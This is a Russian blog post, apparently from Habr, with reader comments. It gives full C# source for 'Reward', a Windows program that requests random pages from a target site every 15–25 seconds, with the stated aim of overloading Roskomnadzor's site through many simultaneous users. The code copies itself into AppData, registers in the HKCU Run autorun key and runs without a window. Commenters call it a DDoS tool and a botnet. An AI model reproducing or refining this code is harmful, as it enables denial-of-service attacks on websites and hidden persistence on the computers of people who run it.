Reward: Благодарность от чистого сердца

    В один прекрасный день, в поисках недавно вышедшего фильма, я обнаружил, что на всех сайтах раздача удалена по требованию Роскомнадзора, а на Рутрекер его ещё никто не залил.

    Немного расстроенный я решил утешиться написанием десктоп-приложения, которое должно помочь каждому пользователю интернета с выразить свою благодарность любимому сайту, например, сайту Роскомнадзора (за то, что он блюдёт законы и защищает нашу безопасность).
    Ну а что может быть более приятным, чем массовые посещения твоего сайта?

    Что у меня получилось смотрите под катом.

    Я решил пойти предельно честным путём — имитировать Хабраэффект (Представляете, сколько радости ждёт кого-то?). Для начала создадим в Visual Studio пустой проект и в настройках проекта укажем его тип: Windows Application.

    Наше приложение будет просто подгружать каждые 15-20 секунд случайную страницу с сайта и выбирать из неё ссылку для следующей загрузки. Если, скажем около ста тысяч человек пожелает отблагодарить Роскомнадзор, Хабраэффект неминуем. С мыслями о добром деле приступим к реализации.

    Я старался описывать действия программы и поэтому часть статьи находится в комментариях к коду.

    Всю основную работу будет выполнять экземпляр класса RandomBrowser с помощью нескольких внешних расширяющих методов класса String:

    class RandomBrowser
    {
        private readonly WebClient Downoader = new WebClient();
        private readonly Random Randomizer = new Random();
    
        // Имя, стартовая страница
        public readonly String DomainName;
        public readonly String DomainPage;
        // Выбранная ссылка для следующего запроса, 
        // свойство планируется в будущем использовать для логгирования
        public String NextUrl { private set; get; }
    
        // Метод осуществляет закачку страницы по ссылке NextUrl
        public void Request()
        {
            try
            {
                // Скачиваем страницу и парсим из неё все ссылки
                // Тут мы используем расширяющий метод String.GetHtmlLinks
                List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName);
                // Если есть ссылки, то выбираем случайную для следующего запроса,
                // иначе снова выбираем стартовую страницу
                NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage;
            }
            // В случае ошибки парсинга или загрузки страницы
            // сбрасываем следующую ссылку до начальной страницы
            catch (Exception)
            {
                NextUrl = DomainPage;
            }
        }
    
        // Принимаем стартовую страницу
        public RandomBrowser(String startPage)
        {
            // Устанавливаем имя домена и его стартовую страницу
            // Тут мы используем расширяющий метод String.GetDomainName
            DomainName = startPage?.GetDomainName();
            DomainPage = @"http://www." + DomainName;
            NextUrl = startPage;
        }
    }

    Так как мы пишем приложение для как можно большего числа пользователей, то собирать его придётся под .NET Framework 4, так как этот вариант гарантированно запустится на большинстве машин с Windows 7, 8, 10. Поэтому для всех операций закачки придётся использовать класс WebClient.

    А вот и наши расширяющие класс String методы:

    static class Extensions
    {
        // Порядок префиксов важен
        private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." };
    
        // Метод возвращает имя домена из строки
        public static String GetDomainName(this String url)
        {
            foreach (String i in Prefixes)
            {
                if (url.IndexOf(i) == 0)
                {
                    url = url.Remove(0, i.Length);
                }
            }
            Int32 subdomain = url.IndexOf('/');
            return subdomain == -1 ? url : url.Remove(subdomain);
        }
    
        // Метод парсит html-страницу в виде строки и возвращает все ссылки
        // Принимает строку и доменное имя для фильтрации
        public static List<String> GetHtmlLinks(this String page, String domainName = null)
        {
            // Тут я использую позаимствованную на просторах Хабра регулярку
            List<String> result = new List<String>();
            Regex reHref = new Regex(@"(?inx)
            <a \s [^>]*
                href \s* = \s*
                    (?<q> ['""] )
                        (?<url> [^""]+ )
                    \k<q>
            [^>]* >");
            foreach (Match i in reHref.Matches(page))
            {
                result.Add(i.Groups["url"].ToString());
            }
            // Если было установлено доменное имя для фильтрации ссылок, то отсеиваем все лишние
            return domainName == null
                 ? result
                 : new List<String>(result.Where(i => i.GetDomainName() == domainName));
        }
    }

    И наконец, завершим создание нашего приложения, я назвал его Reward (награда в виде подобия Хабраэффекта), написанием точки входа:

    class Program
    {
        static void Main()
        {
            // Думаю комментировать имена переменных излишне
            const String appName = "Reward";
            String appDirectory =
                $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}";
            const String fileName = appName + ".exe";
            String filePath = $@"{appDirectory}\{fileName}";
            // Что бы пользователю было удобнее, запишем наше приложение в автозагрузку в реестр
            RegistryKey autorun = 
                Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true);
            String regValue = autorun.GetValue(appName) as String;
            // Если ключ реестра не найден 
            // или параметром ключа не является строка (из-за действия оператора as)
            // или строка не является правильным путем
            if (regValue == null || regValue != filePath)
            {
                // Значит приложение ещё не запускалось
                // Выводим приветствие для первого раза:
                MessageBox.Show("Теперь вы сможете поддерживать любимый сайт круглосуточно!", "Там-парарам");
                // Проверяем существование директории для приложения
                if (!File.Exists(filePath))
                {
                    // И создаём её в случае необходимости
                    if (!Directory.Exists(appDirectory))
                    {
                        Directory.CreateDirectory(appDirectory);
                    }
                    // Проверяем содержание текущего пути до экземпляра
                    // в аргументах командной строки,
                    // если не находим, 
                    // то используем предполагаемый путь по умолчанию.
                    // Затем, скопируем наше приложение в "AppData/Roaming",
                    // дабы исполняемый файл на рабочем столе не мозолил глаза
                    String[] args = Environment.GetCommandLineArgs();
                    File.Copy(
                        args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", 
                        filePath);
                }
                // Прописываемся в реестре
                autorun.SetValue(appName, filePath);
                // И запускаем наш новый экземпляр из "AppData/Roaming"            
                Process.Start(filePath);
                // Завершаем работу текущего экземпляра, 
                // теперь пользователь может его спокойно удалить
                return;
            }
    
            // Собственно основной цикл работы приложения:
            RandomBrowser browser = new RandomBrowser(@"http://www.ПримерСайтаДляБлагодарности.рф");
            Random randomizer = new Random();
            while (true)
            {
                // Для того что бы наше приложение вело себя более похожим образом 
                // на пользователя, 
                // и "кликало" по ссылкам через разные промежутки времени от 15 секунд,
                // добавим элемент случайности
                Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10)));
                browser.Request();
            }
        }
    }

    Итак, у нас получилось незаметное в таскбаре, постоянно висящее в процессах и потребляющее на моем десктопе 3 мб оперативной памяти приложение. Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.

    Не зарабатываю на хлеб программированием, это скорее моё хобби под настроение в свободное время.

    Жду шквала унижающей уничтожающей критики, и, если повезёт услышать, советов по доработке.

    Эта статья не является призывом идти и благодарить таким способом какие-нибудь сайты, а весь код был написан исключительно для развлечения.
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 31
      0
      Ну windows only, скрипт linux тоже не помешает
        +4
        Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.
        Ботнет прям.
          0
          Как думаете, сколько статей УК/КоАП уже нарушили?
          0

          Вместо консольного приложения под windows надо было сделать кроссплатформенный демон. Посмотрите в сторону Topshelf: Ссылка

            0
            Это не консольное приложение, это Windows Application, т. е. окошко консоли даже выскакивать не будет
              +1
              Да ладно, обычного CLI хватило бы, который под mono легко заведется. Зачем лишние извращения?
                0

                если выкинуть MessageBox поидее должен завестить и под Mono.

                  0
                  А реестр в Mono есть? Я давно не смотрел.
                  Обратите внимание, что это поделие на реестр завязано и прописывается в автозагрузку.
                0
                Вместо mono впору .NET Core использовать.
              +8
              Честно, мне иногда кажется, что некоторым людям просто нечего делать. Хотя во вступлении так и написано. Но все же, пускайте свою энергию на какие-нибудь полезные вещи.
                0
                Благодарность через гуглоэксельки все еще в силе?
                  +10
                  Детский сад какой-то. Тот же Cloudflare легко справится с этим DDoS (называйте уже вещи своими именами, а не каким-то там мистическим хабраэффектом)
                    +7
                    DDoS'ить государственный сайт, который содержится за государственные деньги, которые идут с твоих налогов?
                    Нуу, дофига логично…
                      –3
                      Налоги я плачу отнюдь не по своему желанию.
                      Тем более на проекты по контролю интернета.
                      И не мне решать куда пойдут мои деньги с налогов.
                      Но лично для меня это гос. учреждение ничего хорошего не сделало, кроме пакостей с блокированием безобидных торрентов.
                        0
                        Вы же понимаете, что таким образом гадость делаете больше не Роскомнадзору, а IT'шниками, которые там работают?
                          +1
                          А их туда насильно заставляли идти работать?
                          Аргумент прям в стиле «вы гадость делаете не Аушвицу, а ССовцам, которые его охраняют».
                            +3
                            У нас пока еще можно выбирать место работы
                            0
                            ну то есть вы за то чтобы не платить налоги?
                            +1
                            Автор же ранее писал, что он школьник, следовательно налоги не платит, а только ест их по возможности. Карманные деньги, на которые можно было бы купить фильм с легальных торрентов потрачены на более важные вещи.
                            В целом молодец конечно, что попытался решить проблему своей головой. Но лучше твори добро, присесть ты всегда успеешь.
                              0
                              С тех пор прошло немало времени и я уже полгода работаю на благо общества, со всеми налогами и отчислениями)
                                0
                                Пардоньте. Ну тем более, не пристало сознательному гражданину ddos писать и призывать к этому почетных жителей хабратании(ст. 33 УК РФ) :)
                                Да и еще карму себе подпортил как хабравскую, так жизненную…
                            0

                            Кстати, эта штука тривиально роняется лёгким изменением на сервере.

                              +7
                              Обиделся, что не дали скачать пиратский контент? А дальше, что? Отморожу уши всем назло?
                                +4
                                Суицида пост. Не иначе
                                  +1

                                  для тех же целей прекрасно подошёл бы jmeter или яндекс.танк. танк эффективнее ибо "пушка" на С)

                                    0
                                    так это простой DDoS, для которого существует много кросплатформенних аппликух
                                      +1
                                      Понятно, что делать нечего. Понятно, что «Не зарабатываю на хлеб программированием». Но не ясно зачем статью на хабре делать под это добро, обычно такое пишется в стол сразу, то есть только для себя.
                                      В целом молодец конечно, творить это хорошо, но показывать всем свои творения уж слишком рано.
                                        0
                                        Попытка изобрести LOIC?
                                          0
                                          Ждём новых статей от автора:
                                          «Не дали выйти из магазина с неоплаченными покупками. Автоматизируем выбор продуктов, вставание в очередь, и потом отмену купленного, чтобы наказать кассира.»
                                          «Не дали уехать на работу на машине соседей. Автоматизируем приём „постучать по колесу, чтобы сигналка заорала“»
                                          «Не дали съесть еду, которую заказали люди с другого столика. Отблагодарим жмотов или как выбрать электронный испаритель»

                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                          Самое читаемое